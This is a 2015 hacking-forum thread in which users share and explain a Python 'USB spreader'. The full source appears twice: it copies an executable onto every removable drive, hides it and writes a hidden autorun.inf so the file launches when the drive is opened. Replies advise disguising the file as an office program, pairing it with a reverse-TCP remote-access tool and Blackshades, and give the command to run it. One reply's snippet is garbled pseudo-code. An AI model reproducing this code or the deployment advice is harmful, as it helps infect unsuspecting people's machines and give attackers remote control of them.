

Forum:[Hack Forums](#)

Thread: [USB Spread](#)

Unauthenticated - April 12, 2015, 5:28 pm

Can someone explain me this source I got? Hit me up via pm for further information, I'm not releasing the code to the public ?

SIM-1866423 - April 13, 2015, 1:15 am

You just need usb library;

<http://walac.github.io/pyusb/>

Afterwards,

PHP Code

```
<?php
import shutil
import pyusb

find = find.WHEREUSB("where my usb")
try:
    shutil.copy2('myhackingfile.exe', find)
except:
    print "I cant upload this shit"
```

?

XaGa - April 13, 2015, 1:18 am

(Apr 13, 2015 01:15 AM)b3mb4m Wrote: [\[CITE\]](#) You just need usb library;

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Afterwards,

PHP Code

```
<?php
import shutil
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find = find.WHEREUSB("where my usb")
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    shutil.copy2('myhackingfile.exe', find)
except:
    print "I cant upload this shit"
```

?

Make it rename it to something like "Microsoft Word 2010 Portable"

More chance of people opening it when they find it on their USB. Set the details, icon etc too

Xaga

Unauthenticated - April 13, 2015, 12:08 pm

```

Code import win32api
import win32con
import win32file
import sys
import os

class Spreader(object):
    def __init__(self, path): # path must be absolute
        print " [*] Checking information"

        self.filename = path.split("\\")[-1]
        self.driveFilename = self.filename

        if not self.driveFilename.startswith("~"):
            self.driveFilename = "~" + self.driveFilename

        print "\t- Local filename: " + self.filename
        print "\t- Driver filename: " + self.driveFilename

        self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename

        print "\t- Full path: " + self.path

        print "\n [*] Getting removable drives"
        self.drives = self.__getRemovableDrives()

        if len(self.drives) == None:
            print " [-] No removable drives available"
            sys.exit()

        for drive in self.drives:
            print "\t- " + drive

        print "\n [*] Spreading"
        self.__spread()

        print "\n [+] Successfully spread"

    def __getRemovableDrives(self):
        removableDrives = []
        drives = win32api.GetLogicalDriveStrings().split("\\000")[:-1]

        for drive in drives:
            driveType = win32file.GetDriveType(drive)

            if driveType == win32file.DRIVE_REMOVABLE:
                removableDrives.append(drive)

        return removableDrives

    def __spread(self):
        for drive in self.drives:

```

```

if drive == "A:\\":
    continue

else:

    driveFile = drive + self.driveFilename
    driveAutorun = drive + "autorun.inf"

    print " [+] " + drive

    if not os.path.exists(driveFile):
        self.__copyFile(driveFile)

    if not os.path.exists(driveAutorun):
        self.__createAutorun(driveAutorun)

def __copyFile(self, driveFile):
    print "\t- Copying file: " + self.driveFilename,
    win32file.CopyFile(self.path, driveFile, 0)
    print "\t\t\tDONE"

    print "\t- Hidding file",
    win32api.SetFileAttributes(driveFile,\
        win32con.FILE_ATTRIBUTE_HIDDEN)
    print "\t\t\tDONE"

def __createAutorun(self, driveAutorun):
    print "\t- Creating autorun.inf",
    autorun = open(driveAutorun, "w")
    content = """[Autorun]
open={0}
icon={0}
label=Python Spreader
UseAutoPlay=1
action=Start my App
action=@{0}
shell\open=Open
shell\open\Command={0}
shell\explore=explore
shell\explore\command={0}""".format(self.driveFilename)
    autorun.write(content)
    autorun.close()
    print "\t\t\tDONE"

    print "\t- Hidding autorun",
    win32api.SetFileAttributes(driveAutorun,\
        win32con.FILE_ATTRIBUTE_HIDDEN)
    print "\t\t\tDONE"

```

Mind helping me with this one?

Hope to get some answers back ?

(Apr 13, 2015 12:08 PM)CriticalMatts Wrote: [\[CITE\]](#) Mind helping me with this one?

Hope to get some answers back ? Lol finally a semi interesting post, before I look at your code, what do you need help with.

Or did you just want people to look at it?

Either way gg

Unauthenticated - April 13, 2015, 12:59 pm

(Apr 13, 2015 12:34 PM)MR.FREE Wrote: [\[CITE\]](#) Lol finally a semi interesting post, before I look at your sexy code, what do you need help with.

Or did you just want people to look at it?

Either way gg

I asked a friend to code it for me I don't care someone leech it now, I'm really high and fuck it, so I wanted to know if someone here could tell me how to use this... My friend said "yeah i'll code you anything but you'll compile it and you'll declare the paths and bla bla" I was really high when he said that so I agreed, now can someone explain me what am I supposed to do ??? ?

MR.FREE - April 13, 2015, 1:39 pm

(Apr 13, 2015 12:59 PM)CriticalMatts Wrote: [\[CITE\]](#) now can someone explain me what am I supposed to do ??? ? If you wouldn't mind could you post that on pastebin and post the link por favor, it will make looking at it a little less painful.

Only3 - April 13, 2015, 3:53 pm

^^ the time u reply u can do it <http://pastebin.com/3AmCvKnt>
anyway all u need is to put the path of ur server

MR.FREE - April 13, 2015, 4:26 pm

(Apr 13, 2015 03:53 PM)Only3 Wrote: [\[CITE\]](#) ^^ the time u reply u can do it

<http://pastebin.com/3AmCvKnt>

anyway all u need is to put the path of ur server?^^ I am such a :derp: thank you

The reason I didn't is because OP is the only one that can post it to pastebin with correct indentation. If I would have copy/pasted it, then the indentation would be all screwed up and annoying to read plus impossible to run unless I spend the time to fix all indentation errors. So not only am I reading over someone else code as a favor but now I have to fix it, just to fix it. It's just the nice thing to do when asking for help. Atleast it's how I show respect to a thread and people helping me.

Unauthenticated - April 13, 2015, 4:32 pm

(Apr 13, 2015 03:53 PM)Only3 Wrote: [\[CITE\]](#) ^^ the time u reply u can do it

<http://pastebin.com/3AmCvKnt>

anyway all u need is to put the path of ur server

I know it should look like this,

```
>>> import os
>>> os.path.abspath("mydir/myserver.exe")
```

Could someone be super nice and fill up an example with the code?

That's the point of the thread, not just looking up at the code saying it's cool ?

(Apr 13, 2015 04:26 PM)MR.FREE Wrote: [\[CITE\]](#) ?^^ I am such a :derp: thank you

The reason I didn't is because OP is the only one that can post it to pastebin with correct

indentation. If I would have copy/pasted it, then the indentation would be all screwed up and annoying to read plus impossible to run unless I spend the time to fix all indentation errors. So not only am I reading over someone else code as a favor but now I have to fix it, just to fix it. It's just the nice thing to do when asking for help. Atleast it's how I show respect to a thread and people helping me.

Does it have errors? ?

Mind posting them?

Here's my pastebin source.

<http://pastebin.com/CccTcQdS>

MR.FREE - April 13, 2015, 4:47 pm

(Apr 13, 2015 03:53 PM)Only3 Wrote: [\[CITE\]](#) ^^ the time u reply u can do it

<http://pastebin.com/3AmCvKnt>?

You know what, you were right.

I found the actual code. Written by Whiz
so I was able to post the code with exact indentations.

Lol I'm an Asshole sorry.

<http://pastebin.com/utKX7nzt>

hey I learned my lesson, i'll just shut up for now on.

(Apr 13, 2015 04:32 PM)CriticalMatts Wrote: [\[CITE\]](#) Does it have errors? ?

Sure look at the indentation on line 14-15,27-28,31-32,44etc..... of op post

<http://pastebin.com/3AmCvKnt>

I went ahead and posted the original code so were good. I personally post longer code to pastebin and leave a link when I ask for help. It's just proper Etiquette, and any real programmer that isn't a total fucking skid would agree I would think.

lol Whiz is online over at <https://underc0de.org/foro/python/usb-spreader/> right now that's where I got the real code with out indentation errors. If anyone was wondering

Unauthenticated - April 13, 2015, 5:01 pm

(Apr 13, 2015 04:47 PM)MR.FREE Wrote: [\[CITE\]](#) ?

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lol Whiz is online over at <https://underc0de.org/foro/python/usb-spreader/> right now that's where I got the real code with out indentation errors. If anyone was wondering

I didn't want to post the link to the forum to prevent mass scams in this forum, there's good stuff

there (useable to be sold in here, that is free there), and I never took credit nor gave to it someone with a real identity, so I don't feel guilty by not giving credits to Whiz, anyway mind helping setting it up?

You just didn't come to this thread to give credits did you...? ???

Only3 - April 13, 2015, 5:05 pm

? at least hf best on finding the original code

MR.FREE - April 13, 2015, 5:10 pm

(Apr 13, 2015 03:53 PM)Only3 Wrote: [\[CITE\]](#) anyway all u need is to put the path of ur server (Apr 13, 2015 04:32 PM)CriticalMatt's Wrote: [\[CITE\]](#) I know it should look like this,

```
>>> import os
```

```
>>> os.path.abspath("mydir/myserver.exe")
```

Hey I just started learning how to be l33t haxstar, is this all I have to do to get a connection on someone that steals my usb?

Any of you guys know how to write a 'server'(!l) in python for the server.exe so this will work?

Seriously please let me know, what exactly does this need to run and work as expected?

If you can say it, I can write it. what happens next?

(Apr 13, 2015 05:01 PM)CriticalMatt's Wrote: [\[CITE\]](#) You just didn't come to this thread to give credits did you...? ???No ofc not, I came to help out with python programming.

Run the program in windows, if it works as expected you'll load the file that you will be hiding in a usb.

I have the hellokitty fedora release, so my skid ass couldn't find out if the script worked as expected or not. So idk

Only3 - April 13, 2015, 5:23 pm

here u go assuming the server have the client code

<https://hackforums.net/showthread.php?tid=4766844&pid=45687948#pid45687948>

inb4 [\(Click to View\)](#)

Troll

Unauthenticated - April 13, 2015, 5:34 pm

(Apr 13, 2015 05:10 PM)MR.FREE Wrote: [\[CITE\]](#) Run the program in windows, if it works as expected you'll load the file that you will be hiding in a usb.

However I have the hellokitty fedora release, so my skid ass couldn't find out if the script worked as expected or not.

I'm fixing up the prmpting errors first, just a few syntax errors so far and I googled a bit more I'll post anything if I get stuck

```
Code import win32api
```

```
import win32con
```

```
import win32file
```

```
import sys
```

```
import os
```

```
class Spreader(object):
```

```
    def __init__(self, path): # path must be absolute
```

```
        print (" [*] Checking information")
```

```
        self.filename = path.split("\\")[-1]
```

```

self.driveFilename = self.filename

if not self.driveFilename.startswith("~"):
    self.driveFilename = "~" + self.driveFilename

print ("\t- Local filename: ") + self.filename
print ("\t- Driver filename: ") + self.driveFilename

self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename

print ("\t- Full path: ") + self.path

print ("\n [*] Getting removable drives")
self.drives = self.__getRemovableDrives()

if len(self.drives) == None:
    print (" [-] No removable drives available")
    sys.exit()

for drive in self.drives:
    print ("\t- ") + drive

print ("\n [*] Spreading")
self.__spread()

print ("\n [+] Successfully spread")

def __getRemovableDrives(self):
    removableDrives = []
    drives = win32api.GetLogicalDriveStrings().split("\\000")[:-1]

    for drive in drives:
        driveType = win32file.GetDriveType(drive)

        if driveType == win32file.DRIVE_REMOVABLE:
            removableDrives.append(drive)

    return removableDrives

def __spread(self):
    for drive in self.drives:

        if drive == "A:\\":
            continue

        else:

            driveFile = drive + self.driveFilename
            driveAutorun = drive + "autorun.inf"

            print (" [+] ") + drive

            if not os.path.exists(driveFile):

```

```

self.__copyFile(driveFile)

if not os.path.exists(driveAutorun):
    self.__createAutorun(driveAutorun)

def __copyFile(self, driveFile):
    print ("\t- Copying file: ") + self.driveFilename,
    win32file.CopyFile(self.path, driveFile, 0)
    print ("\t\t\tDONE")

    print ("\t- Hidding file"),
    win32api.SetFileAttributes(driveFile,\
    win32con.FILE_ATTRIBUTE_HIDDEN)
    print ("\t\t\tDONE")

def __createAutorun(self, driveAutorun):
    print ("\t- Creating autorun.inf"),
    autorun = open(driveAutorun, "w")
    content = ""[Autorun]
open={0}
icon={0}
label=Python Spreader
UseAutoPlay=1
action=Start my App
action=@{0}
shell\open=Open
shell\open\Command={0}
shell\explore=explore
shell\explore\command={0}"".format(self.driveFilename)
    autorun.write(content)
    autorun.close()
    print ("\t\t\tDONE")

    print ("\t- Hidding autorun"),
    win32api.SetFileAttributes(driveAutorun,\
    win32con.FILE_ATTRIBUTE_HIDDEN)
    print ("\t\t\tDONE")

```

Pastebin <http://pastebin.com/MNygYpw2>

Code is fixed, just need to declare paths, someone mind putting up an example?

MR.FREE - April 13, 2015, 6:21 pm

(Apr 13, 2015 05:23 PM)Only3 Wrote: [\[CITE\]](#) here u go assuming the server have the client code
<https://hackforums.net/showthread.php?tid=4766844&pid=45687948#pid45687948>

inb4 [\(Click to View\)](#)

Troll

read the post, I just used what I found on that Stack overflow page I linked, irl I'm a total skid. Ive watched 2'NewBoston' vids and read a blog or two but that's it.

(@Goodies if your reading) Something like this is an actual TCP persistence problem, which is why you need to say what you mean.

lol yeah post noip # I use that and blackshades together err day.

OP find a reverse_tcp.exe quick google should find you plenty.
the script simply sends this reverse_tcp.exe to a USB and adds auto-start params so in theory when someone uses the USB they return a connection to you. So run the script with the absolute path to your reverse_tcp.exe
If that doesn't help I'll try something else to explain it. I really want to try and give something back to the community I came from, you know(Homage).

```
YourOS > python spreader.py 'C:/User/OP/client.exe'  
or in idle you could create an instance by calling  
Spreader("C:/User/OP/client.exe")
```

Hope that helps buddy, good luck :)

Only3 - April 13, 2015, 6:42 pm

^^ ever heard on noip if not go to [Beginner Hacking](#) o.o wait u can use the SEARCH button or better Google

Unauthenticated - April 13, 2015, 6:53 pm

Damn I find you both fucking useless get the fuck out of my thread please

Only3 - April 13, 2015, 7:01 pm

(Apr 13, 2015 06:53 PM)CriticalMatts Wrote: [\[CITE\]](#) Damn I find you both fucking useless get the fuck out of my thread please
? we help u and u call us useless ?

Unauthenticated - April 13, 2015, 7:47 pm

(Apr 13, 2015 07:01 PM)Only3 Wrote: [\[CITE\]](#) ? we help u and u call us useless ?
Sry I was mad at the other user, I'm sry I called you like that, you're not useless sir.

MR.FREE - April 13, 2015, 7:54 pm

(Apr 13, 2015 07:47 PM)CriticalMatts Wrote: [\[CITE\]](#) Sry I was mad at the other user, I'm sry I called you like that, you're not useless sir.

I actually explained usage, I thought I was helping you. I'm sorry, I'll never post again. Wow I really thought I was helping, never again though. I'm done Hack Forums, I'm gone for ever.

MR.FREE Wrote:OP find a reverse_tcp.exe quick google should find you plenty.
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YourOS > python spreader.py 'C:/User/OP/client.exe'  
or in idle you could create an instance by calling  
Spreader("C:/User/OP/client.exe")
```

Hope that helps buddy, good luck :)# Mr.Free rips the power cord running from his PC to the wall, creates a lose knot and walks into the bathroom, with tears running down his cheeks, never to be seen again. #Misunderstood

Unauthenticated - April 13, 2015, 8:42 pm

Aw lord I have no words for MR.FREE im sry you can't understand the trip I had, somehow you

became my enemy, yo sorry sir srsly you deserve respect thanks for the help <3

Only3 - April 13, 2015, 9:17 pm

(Apr 13, 2015 07:54 PM)MR.FREE Wrote: [\[CITE\]](#) I actually explained usage, I thought I was helping you. I'm sorry, I'll never post again. Wow I really thought I was helping, never again though. I'm done Hack Forums, I'm gone for ever.

Mr.Free rips the power cord running from his PC to the wall, creates a lose knot and walks into the bathroom, with tears running down his cheeks, never to be seen again. #Misunderstood
? will miss u MR.FREE see u when i see u

Unauthenticated - April 13, 2015, 9:21 pm

(Apr 13, 2015 09:17 PM)Only3 Wrote: [\[CITE\]](#) ? will miss u MR.FREE see u when i see u
I will make a thread for him hope he likes it